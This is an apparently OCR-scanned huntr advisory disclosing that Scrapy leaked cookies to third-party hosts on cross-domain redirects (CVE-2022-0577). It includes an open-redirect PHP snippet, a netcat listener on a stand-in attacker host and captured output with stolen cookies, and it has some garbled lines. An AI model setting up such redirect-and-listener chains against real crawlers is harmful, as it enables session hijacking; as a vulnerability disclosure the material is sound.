## huntr

# **Exposure of Sensitive Information to an Unauthorized** Actor in scrapy/scrapy



✓ Valid ) Reported on Jan 5th 2022

### BUG

Cookie header leaked to third party site and it allow to hijack victim account

### **SUMMURY**

When you crawling a site with cookie and it received Location header to redirect then scrappy send all cookie to this redirect url even if this is different domain. But every browser works different way. browser does not send cookie of one domain to other domain due to same-origin-policy. As cookie is main way for user authentication, so if cookie is leaked then attacker can performed any action using those leaked cookie. But here scrapy leaked cookie to thirdparty site if redirect happen.

### **FLOW**

if you fetch http://mysite.com/redirect.php?url=http://attacker.com:8182/ then it will redirect to http://attacker.com:8182/.

First setup a webserver and a netcat listner

## http://mysite.com/redirect.php?url=http://attacker.com:8182/

```
//redirect.php
<?php
$url=$ GET["url"];
header("Location: $url");
/* Make sure that code below does not get executed when we redirect. */
exit;
                                                                   Chat with us
?>
```

## netcat listner in http://attacker.com

```
nc -lnvp 8182
```

### STEP TO RERPODUCE

run bellow code

response received in attacker netcat

```
Connection from 127.0.0.1 46190 received!

GET /robots.txt HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en

User-Agent: Scrapy/2.5.1 (+https://scrapy.org)

Accept-Encoding: gzip, deflate, br

Cookie: currency=USD; country=UY

Host: mysite.com:8182

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```

So, here i provided cookie for mysite.com but due to redirect it leaks to thirdparty site

### SUGGESTED FIX

If provided url domain and redirect url domain is same then you can only send cookie header to redirected url. But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie header.

#### CVE

CVE-2022-0577 (Published)

### **Vulnerability Type**

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

#### Severity

High (8.8)

#### Visibility

Public

#### Status

Fixed

#### Found by



This report was seen 521 times

We are processing your report and will contact the **scrapy** team within 24 hours. a year ago

We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago

We have opened a pull request with a SECURITY.md for scrapy to merge. a year ago

Adrián Chaves validated this vulnerability 9 months ago

Chat with us



Tariffe Michael Decir avvarage the abolicate Dearley

The fix bounty is now up for grabs

Adrián Chaves 9 months ago

Maintainer

Thank you. We are working on a fix.

We have sent a fix follow up to the scrapy team. We will try again in 7 days. 9 months ago

We have sent a second fix follow up to the **scrapy** team. We will try again in 10 days. 9 months ago

Adrián Chaves marked this as fixed in 2.6.1 with commit 8ce01b 9 months ago

The fix bounty has been dropped \*

This vulnerability will not receive a CVE x

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